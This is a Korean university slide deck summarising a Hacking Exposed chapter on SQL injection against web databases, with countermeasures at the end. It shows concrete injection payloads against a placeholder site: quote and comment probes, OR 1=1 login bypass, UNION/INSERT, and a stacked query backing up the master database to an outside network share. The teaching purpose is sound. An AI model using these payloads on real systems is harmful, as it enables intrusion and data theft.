김 상 국, 김 기 훈 한남대학교 컴퓨터공학과 데이터베이스 실험실 [Hacking Exposed] 웹 기획. 운영자를 위한 해킹과 보안중에서 9장. 웹 데이터베이스 공격 김 상 국, 김 기 훈 한남대학교 컴퓨터공학과 데이터베이스 실험실
목차 개요 Part I : SQL 입문 Part II : SQL 주입 Part III : 요약 Part IV : 참고 문헌 Part VII : Q & A
개요
개요 웹 사이트의 데이터를 제공하는 데이터베이스 웹 저널, 실시간 정보, 상품의 카타로그 등 사용자는 front-end 만 접근하고 데이터베이스에 접근 불가 웹에서 변수를 이용하여(username) 데이터베이스 동작에 영향을 미치는 특별한 명령
Part I : SQL 입문
SQL 입문 웹 서버와 데이터베이스의 상호작용 웹 서버는 데이터베이스와 직접 통신이 불가 데이터베이스 서버는 SQL만을 인식 웹 어플리케이션을 이용하여 데이터베이스에 질의 웹 어플리케이션과 데이터베이스사이의 인터페이스 이용 Login page Username : Password : Web app Database client server Response Request connector Username, Password 수집 Query 일치여부 확인 SQL Http
Part II : SQL 주입
SQL 주입 SQL에 익스플로잇 주입 익스플로잇(exploit) SQL 삽입 문제의 원인 무해한 에러 발생문자 명령어 라인 실행(.sh , .c, .pl) SQL 에 주입하여 사용 ASP, PHP, Perl 기타 웹 언어가 사용된 프로그램 인터페이스를 지원 대부분의 데이터베이스 벤더 제품이 적용 가능 SQL 삽입 문제의 원인 변수의 경계를 지정하기위한 단일 인용 부호(‘) strSQL = “ SELECT userid FROM users WHERE password = ‘ “+password+” ‘ “;
SQL 주입 SQL 삽입 시험 어플리케이션의 취약점을 찾기 위한 문자 및 SQL 형식 설명 SQL 형식 문자 와일드 카드 % 변수 할당 SET ODBC 에러 반환 PRINT 내부 서버 변수 @@variable “Param=foo, bar” 생성 ?Param1=foo&Param1=bar 변수 붙임 ,@variable 공간 + 단일 라인 주석 ---- 구문 종료 ‘
SQL 주입 ODBC (Open database connectivity )살펴보기 ODBC 데이터베이스가 이해할 수 있는 형태로 변환시켜 질의어의 처리를 지원해 주는 인터페이스 데이터 소스에 접근, 질의어 실행 결과 반환 오류 처리 SQL의 질의 구조 파악 및 구문 파괴를 위한 방법 익스플로잇을 이용한 의도적인 에러 발생 ODBC 에러 메시지 분석
SQL 주입 ODBC 에러 메시지 분석위한 에러 발생 방법 예제 테스트 웹 사이트 닫히지 않은 단일 인용 부호 삽입 단일 라인 주석 삽입 스페이스(+) 삽입 변수값 변경 다중 파라미터 전송 내부 서버 변수 삽입 PRINT명령 삽입 예제 테스트 웹 사이트 http://www.victim.com/*. asp
SQL 주입 닫히지 않은 인용부호 삽입 Parameter 목록이 아닌 내장 프로시저 정보 UserID 및 필드 이름 정보 추출 내장 프로시저 식별 http://www.victim.com/siteAdmin.asp?SiteID=12’ . . . Microsoft OLE DB Provider for ODBC Driver (0x80040E14) [Microsoft][ODBC SQL Server Driver][SQL Server] Unclosed quotation mark Before the character string ‘,@UserID=182’. /siteAdmin.asp, line 7
SQL 주입 단일 라인 주석 삽입 SQL로 하여금 나머지 부분을 주석으로 처리함 getAdminHome1라는 내장 프로시저로 전달 되는 것을 확인 http://www.victim.com/siteAdmin.asp?SiteID=12- - . . . Microsoft OLE DB Provider for ODBC Driver (0x80040E14) [Microsoft][ODBC SQL Server Driver][SQL Server] Procedure ‘getAdminHome1’ Expects parameter ‘@UserID’, Which was not supplied. /SiteAdmin.asp, line 7
SQL 주입 스페이스(+) 삽입 UserID 변경 . . . Microsoft OLE DB Provider for ODBC Driver (0x80040E14). [Microsoft][ODBC SQL Server Driver][SQL server] Must declare the varible ‘@UserID’ . http://www.victim.com/siteAdmin.asp?SiteID=12, @UserID=180 . . . Microsoft OLE DB Provider for ODBC Driver (0x80040E14) [Microsoft][ODBC SQL Server Driver][SQL Server] Procedure or Function getAdminHome1 has too many arguments specified. /siteAdmin.asp, line 7
SQL 주입 다중 파라미터 전송 ASP는 SiteID=12, 12 와 같이 인자를 받음 내장 프로시저 @name=12, 12 http://www.victim.com/siteAdmin.asp?SiteID=12&SiteID=12 . . . Microsoft OLE DB Provider for ODBC Driver (0x80040E14) [Microsoft][ODBC SQL Server Driver][SQL Server] Must pass parameter Number 2 and subsequent parameters as ‘@name=value’. After the form ‘@name=value’ has bean used, all subsequent parameters must be passed In the form ‘@name=value’. /SiteAdmin.asp, line 7 @name=12, 12
SQL 주입 PRINT 명령 삽입 PRINT 명령에 의하여 발생된 에러 철자 오류에 의한 에러 http://www.victim.com/siteAdmin.asp?SiteID=12+PRIN . . . Microsoft OLE DB Provider for ODBC Driver (0x80040E14) [Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax Near ‘PRIN’. http://www.victim.com/siteAdmin.asp?SiteID=12+PRINT Near ‘ , ’.
SQL 주입 내부 서버 변수 삽입 유효한 변수 확인 방법 . . . 확실히 존재하지 않은 변수 삽입 확실히 존재하는 변수 삽입 http://www.victim.com/siteAdmin.asp?SiteID=12+PRINT+@@Abulafia . . . Microsoft OLE DB Provider for ODBC Driver (0x80040E14) [Microsoft][ODBC SQL Server Driver][SQL Server]Must declare the Variable ‘@@Abulafia’, http://www.victim.com/siteAdmin.asp?SiteID=12+PRINT+@@ServerName . . .
SQL 주입 다른 컬럼으로부터 데이터를 선택하도록 시도 Post 방식 아킬레스 이용 Send=1&hidSearchType=1&selTextField=L_Name&txtSearchValue=zombie http://www.victim.com/PageSearch.asp POST: Send=1&hidSearchType=1&selTextField=UserID&txtSearchValue=zombie Microsoft OLE DB Provider for ODBC Driver (0x80040E14) [Microsoft][ODBC SQL Server Driver][SQL Server] Invalid column name ‘UserID’. /includes/subWriteActionTable.inc, line 51
SQL 주입 전체 데이터베이스 백업 시도 낮은 권한 계정 POST: Send=1&URL=%2Fsecure%2Fdefault.asp&txtUserName=security &txtPwd=Security00’ ;backup+database+master+to+disk= ‘\\172.16.172.116\share\bak.dat ‘ ‘ Microsoft OLE DB Provider for ODBC Driver (0x80004005) [Microsoft][ODBC SQL Server Driver][SQL Server] BACKUP DATABASE permission Denied in database ‘master’.
SQL 주입 여러 문자의 동시 삽입 http://www.victim.com/DataList.asp?Page=-1&PageName=(@@ServerName)- - http://www.victim.com/Error.asp?log=True&ec=4&en=- 2147217900&ed=Could+not+find+stored+procedure+%27VENONASQLA12%27%2E& es=Microsoft+OLE+DB+Provider+for+SQL+Server&pn=RL%2Einc&fn=ExecuteSP ed=Could not find stored procedure ‘ VENONASQLA12 ‘.
SQL 주입 중복 값의 입력
SQL 주입 MS SQL 서버 기술 MS SQL 서버 4개의 데이터베이스로 구성 Master Model Msdb Tempdb 모든 로그인 계정, 구성 설정, 초기화 정보등을 관리 내부변수, 내장 프로시저, 확장된 내장 프로시저 등이 데이터베이스로 부터 호출 Model 새로운 데이터베이스 템플릿 제공 Msdb 예약 작업을 위한 SQL Server Agent를 지원 Tempdb 모든 작업에 대한 임의 저장소로 사용 Pubs 샘플 데이터베이스
SQL 주입 Master 데이터베이스에 접근 및 질의 데이터베이스 구성, 웹 어플리케이션의 데이터베이스, 테이블, 윈도우 환경을 파악 내부변수(@@ *) : @@microsoftversion, @@servicename 등 내장 프로시저(sp_*) : sp_columns<table>, sp_configure[name] 등 확장된 내장 프로시저(xp_*) : xp_lognconfig, xp_msver 등 시스템 테이블 객체 : syscolumns, sysobjects 등
SQL 주입 일반적인 SQL 기술 SQL 오퍼레이터 SQL 공격 테이블로부터 데이터를 선택하고자 할 경우 OR 1=1 미리 정의된 키워드(SELECT, FROM, WHERE 등) SQL 공격 OR 1=1 sqlAuth=“SELECT userid FROM logins WHERE name=‘ ” & Username & “ ‘ AND password= ‘ ” & Password & “ ‘ “ SELECT userid FROM logins WHERE name=‘Wayne’ AND password= ‘Pirate‘ SELECT userid FROM logins WHERE name=‘Wayne’ AND password= ‘Pirate‘ OR 1=1
SQL 주입 UNION INSERT UNION ALL SELECT field FROM table WHERE condition INSERT INTO Users VALUES(‘neo’, “trinity’)
SQL 주입 SQL 질의에서의 문제점
SQL 주입 일반적인 대응 방법 에러처리 강화 파라미터 목록 내장 프로시저 최소 권한으로 운영 스키마 보호 예외 처리 방식(try, catch, finally)를 사용 파라미터 목록 사용자 정의 데이터의 사용 내장 프로시저 사용자 정의 내장 프로시저의 사용 최소 권한으로 운영 특성에 맞는 최소 권한 상태에서 어플리케이션의 운영 스키마 보호 테이블의 이름, 컬럼 이름 등 SQL 구조를 숨김(주석문)
Part III : 요약
요약 성공적인 SQL 삽입 방법 입력 확인 기법을 통하여 어플리케이션에 데이터베이스 에러 발생
Part VI : 참고문헌
참고 문헌 SQL 삽입공격 http://www.microsoft.com/korea/msdn/library/dnnetsec/html/SecNetch12.asp#sqlinjectionattacks ASP 프로그래밍 ASP 프로그램밍 송태섭, 천희식 공저 정익사
Part VII : Q & A
참고 예제 웹 사이트 소스